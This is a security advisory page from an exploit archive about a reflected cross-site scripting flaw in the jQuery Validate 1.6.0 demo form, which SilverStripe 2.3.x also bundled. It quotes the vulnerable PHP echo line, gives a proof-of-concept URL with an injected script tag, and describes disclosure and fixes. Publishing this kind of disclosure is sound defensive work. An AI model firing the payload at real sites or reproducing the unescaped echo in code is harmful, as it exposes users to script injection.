exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

jQuery Validate 1.6.0 Cross Site Scripting

jQuery Validate 1.6.0 Cross Site Scripting
Posted Feb 24, 2010
Authored by CodeScan Labs

jQuery Validate version 1.6.0 and SilverStripe versions 2.3.x through 2.3.5 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | b58bbf653f67c61d7ea82576ebcc408159863ba80fa9cc12afb1990ab6a1b478

jQuery Validate 1.6.0 Cross Site Scripting

Change Mirror Download
+----------------------------------------------+
ADVISORY – jQuery Validate 1.6.0 Demo Code

AFFECTED PACKAGES
> jQuery Validate 1.6.0
> SilverStripe 2.3.X to 2.3.5

Discovered By CodeScan.com
+----------------------------------------------+

Vendor's Website:
http://bassistance.de/jquery-plugins/jquery-plugin-validation/


CodeScan Labs (www.codescan.com), has recently
released a new source code scanning tool,
CodeScan. CodeScan is an advanced auditing tool
designed to check web application source code
for security vulnerabilities. CodeScan utilises
an intelligent source code parsing engine,
traversing execution paths and tracking the flow
of user supplied input.

During the ongoing testing of CodeScan PHP, the
jQuery.Validate demonstration code was discovered
within another project.




<<< CROSS SITE SCRIPTING THROUGH ECHO >>>

XSS in [form.php], folder [demo].
(Full Path:


$user = $_REQUEST['user'];
$pw = $_REQUEST['password'];
if($user && $pw && $pw == "foobar")
echo "Hi $user, welcome back."


<<< PROOF OF CONCEPT >>>

http://[host]/validate/demo/form.php?user=%3Cscript%3Ealert%28%27Proof%20of%20Concept%27%29;%3C/script%3E&password=foobar


<<< YES, WE REALISE THIS IS DEMO CODE >>>

A simple Google search unearthed a number of
results for the existence of this plugin/demo
within SVN repositories, as well as on live web
servers. Demo or not, it has been included in
distributions (Such as SilverStripe) – and has
been deployed in live environments.


<<< RESPONSIBLE DISCLOSURE >>>

We have attempted to make contact with the
author of this plugin, to no avail.

We successfully made contact with the
SilverStripe team who promptly tidied up.
Quick response, well done.

<<< EXPLICIT RECCOMENDATIONS >>>

SilverStripe Users: Upgrade to the latest
version of SilverStripe (2.3.6 at time of
writing), and ensure the file is deleted.

Other Users: Chances are you do not need
this file in your project, so delete the
[form.php] file. Otherwise, ensure proper
Sanitization.


<<< CLOSING NOTES >>>

You may be able to write secure code, but the
code you get from third parties can put you at
risk. Always review the code of third parties
(including/especially plug ins) – not doing so
puts you at unnecessary risk.

--
This message has been scanned for viruses and
dangerous content by Bizo EmailFilter, and is
believed to be clean.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close